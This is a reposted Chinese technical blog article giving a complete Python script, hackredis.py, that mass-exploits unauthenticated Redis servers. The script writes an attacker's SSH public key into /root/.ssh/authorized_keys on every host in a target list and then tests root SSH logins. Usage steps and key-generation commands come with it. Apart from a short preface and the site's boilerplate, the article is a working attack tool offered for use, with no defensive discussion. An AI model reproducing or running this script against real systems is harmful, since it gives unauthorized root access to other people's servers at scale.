未加星标

python脚本实现Redis未授权批量提权

字体大小 | |
[数据库(综合) 所属分类 数据库(综合) | 发布者 店小二04 | 时间 | 作者 红领巾 ] 0人收藏点击收藏

前言

本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。

安装依赖

sudo easy_install redis
使用

redis python hackredis.py
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]
For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22
optional arguments:
-h, --help show this help message and exit
-l IPLIST the hosts of target
-p PORT the redis default port
-r ID_RSAFILE the ssh id_rsa file you generate
-sp SSH_PORT the ssh port

首先需要ssh密钥:

ssh-keygen -t rsa
cp ~/.ssh/id_rsa.pub /tmp/foo.txt
之后将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

#!/usr/bin/python
#coding:utf-8
#############################################################
## @file hackredis.py ##
## @date 2015-12-11 ##
## @author evi1cg ##
#############################################################
import redis
import argparse
import textwrap
import sys
import pexpect
def getargs():
parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/
For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))
parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')
parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')
parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')
parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')
if(len(sys.argv[1:]) / 2 != 4):
sys.argv.append('-h')
return parser.parse_args()
def hackredis(host,port):
ck = 0
try:
print "[*] Attacking ip:%s"%host
r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)
r.flushall
r.set('crackit',foo)
r.config_set('dir','/root/.ssh/')
r.config_set('dbfilename','authorized_keys')
r.save()
ck =1
except:
print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host
write(host,2)
ck =0
if ck == 1:
check(host)
else:
pass
def check(host):
print '/033[1;33;40m[*]/033[0m Check connecting... '
try:
ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))
i = ssh.expect('[#/$]',timeout=2)
if i == 0:
print "/033[1;34;40m[+]/033[0m Success !"
write(host,1)
else:
pass
except:
print "/033[1;32;40m[-]/033[0m Failed to connect !"
write(host,3)
def write(host,suc):
if suc == 1:
filesname = 'success.txt'
elif suc ==2:
filesname = 'fail.txt'
elif suc ==3:
filesname = 'unconnect.txt'
else:
pass
file_object = open(filesname,'a')
file_object.write(host+'/n')
file_object.close()
def main():
global foo,ssh_port
paramsargs = getargs()
try:
hosts = open(paramsargs.iplist,"r")
except(IOError):
print "Error: Check your hostfile path/n"
sys.exit(1)
port = paramsargs.port
ssh_port = paramsargs.ssh_port
try:
foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'
except(IOError):
print "Error: Check your wordlist path/n"
sys.exit(1)
ips = [p.replace('/n','') for p in hosts]
for ip in ips:
hackredis(ip.strip(),port)
if __name__ == "__main__":
main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

本文数据库(综合)相关术语:系统安全软件

主题: Redis谢大
tags: ssh,port,txt,host,hackredis,print,ip,parser,foo,file,py,redis
分页:12
转载请注明
本文标题:python脚本实现Redis未授权批量提权
本站链接:http://www.codesec.net/view/565271.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 数据库(综合) | 评论(0) | 阅读(103)